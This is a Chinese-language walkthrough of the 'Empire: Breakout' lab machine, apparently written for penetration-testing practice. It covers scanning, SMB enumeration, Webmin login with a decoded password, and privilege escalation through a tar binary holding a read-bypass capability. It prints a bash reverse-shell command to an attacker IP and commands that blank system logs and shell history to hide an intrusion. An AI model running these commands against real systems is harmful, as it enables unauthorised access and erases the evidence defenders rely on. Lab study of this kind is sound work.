empire靶场2
前言
靶机:breakout
攻击:kali
续接上个靶场empire1的继续学习
主机发现
使用arp-scan扫描或者直接查看虚拟机的ip地址

信息收集
使用nmap扫描

- 端口80
apache 2.4.51 - 开启
smb服务的两个端口139、445,版本4.6.2 - 两个http服务采用
miniserv(webmin) - 操作系统为linux 4.x或5.x
访问查看
查看80端口网站信息,是搭建apache后的默认页面

查看页面源码,再最后面发现一串加密的字符。

进行分析解密


查看10000端口的网站信息,是个登录界面

查看20000端口网站信息,同样是登录

扫描网站目录
80端口并无好东西,因为本身就是一个默认的界面

扫描10000端口

访问robots.txt发现只有一个根目录,没有价值
扫描20000端口

打开robots.txt文件同样没有东西
检测smb服务
使用enum4linux工具来查看smb服务的一些信息
enum4linux -a -o 192.168.1.29



至此信息收集完毕,尝试进行攻击
小结获取到的信息
- 获取到一段加密后的字符
.2uqPEfj3D<P'a-3 - 从smb获取一个本地用户
cyber - 10000和20000端口是登录界面,并是
miniweb
漏洞寻找
在10000端口和20000端口的网站尝试万能密码进行测试
输入1' or 1=1或1' or '1'='1,直接说用户名错误


基于前面收集到该端口的信息可以知道,是miniserv,搜索有无默认登录密码
搜索到miniO browser默认账户和密码都是minioadmin并且是管理员权限
进行测试,发现登录变了,不再是用户名错误,而是登录失败,说明有这个用户名

尝试进行爆破,多次尝试,大概7次左右吧,就被封锁IP,不过大概1分钟后会恢复登录页面

抓包分析,是根据什么进行封禁的IP地址
发现并无x-forwarded-for类似的http头,说明是通过连接时获取IP的,那么这里无法伪造IP,但是可以通过代理池的方式来绕过这个IP封禁进行爆破
不过因为是相当于内网环境,代理池基本上没用上,所以这里换方法
漏洞利用
之前获取到的一个用户名和一串加密后的字符,尝试登录cyber .2uqPEfj3D<P'a-3
登录成功

这里可以找到几处利用点,每个功能模块都点击测试一下,有一个文件管理工具,可以上传文件,一个ssh终端,在web页面就可以调用,并且直接连接,可以在文件管理中看到SSH认证的相关文件,在.ssh目录下
并且还有一个命令执行SHELL,不过可以直接连接,就可以暂时不需要
不过还有一个密码更改需要注意,万一有可绕过的业务漏洞呢。不过抓包后发现,是有一个uid,这个是网站自己生成的很长的字符串,不好进行操作


功能很多,但是都比不过可以直接使用ssh连接,因为就算是shell成功,也还是当前用户的权限


使用ssh连接终端,先查看一些权限问题

提权
当前文件下有两个文件,并且tar命令竟然在这,而且有执行权限

既然给出这个命令,说明要么有需要解压的包或压缩的包,反正应该是有信息的
使用compgen -c来查看find命令当前用户可用吗

使用find尝试搜索关键字flag、pass*、user*等
文件实在太多了,看花眼了,这里可以看到应该是隐藏备份文件,尝试能否访问

无法直接访问,那么在当前目录下有tar命令,把目标打包到这里,然后解压查看


获取到一个密码,不过并不知道是谁的,所以,可以先查看/etc/passwd有哪些用户

然后可以一个一个的试试

但是这里还没有输入密码就直接跳出权限错误,而且su是有SUID的,不清楚,不过既然已经进入,直接查看是否可用bash,可用的话,就反弹一个shell,这里不行的话,还可以使用wget进行下载,比如python的等等
当然也可以尝试从网站重新登录,以root的身份,因为在前面查看/etc/passwd的时候,发现cyber是在其中的,说明root也有可能是能够登录网站的

bash -i >& /dev/tcp/192.168.1.16/9999 0>&1 在靶机执行
nc -lvvp 9999 在kali执行

提权到root成功

清除痕迹
删除auth
echo > auth.log
删除btmp
echo > btmp
删除wtmp
echo > wtmp
删除lastlog
echo > lastlog
删除命令的历史记录
history -r
暂时在/var/log目录下无其他日志文件
总结
-
养成经常看页面源代码的习惯
-
涉及到简单的密码破解,可以增长记忆,这里是
brain -
enum4linux的使用,可以清晰的看到SMB的好多内容 -
结合收集到的所有信息进行尝试,这里只给出网站,并且可登录,就根据自己的信息去尝试
-
对于登录到网站系统中的时候,对于网站的功能,都点击进行测试,比如有修改密码等操作时,就可以抓包分析
-
妥善使用
compgen -c来获取当前用户的可用命令,配合grep进行筛选 -
记得一些敏感文件的常用关键字,如密码,可能文件名中就有
pass -
命令
getcap的使用,附在最后吧 -
反弹
shell的时候,反弹就是对方主动来连接你bash -i >& /dev/tcp/ip/port 0>&1
getcap是一个用于查看文件的能力(capabilities)的命令。在 Linux 系统中,文件能力是一种细粒度的权限机制,它允许对程序的权限进行更灵活的控制,而不是仅仅依赖传统的用户 / 组 / 其他(ugo)权限位。
cap_dac_read_search是一种文件能力。具体来说,cap_dac_read_search能力允许一个进程绕过文件读取、目录读取和可执行文件搜索的常规文件权限检查。=ep是一种设置权限的方式。e表示启用(effective),p表示许可(permitted)。这意味着为tar程序设置了cap_dac_read_search能力,并且这个能力在程序执行时是有效的和被许可的。这样,tar程序在执行某些操作时(如读取文件和搜索目录)可以绕过传统的基于用户 / 组 / 其他的访问控制(DAC - Discretionary Access Control)权限检查。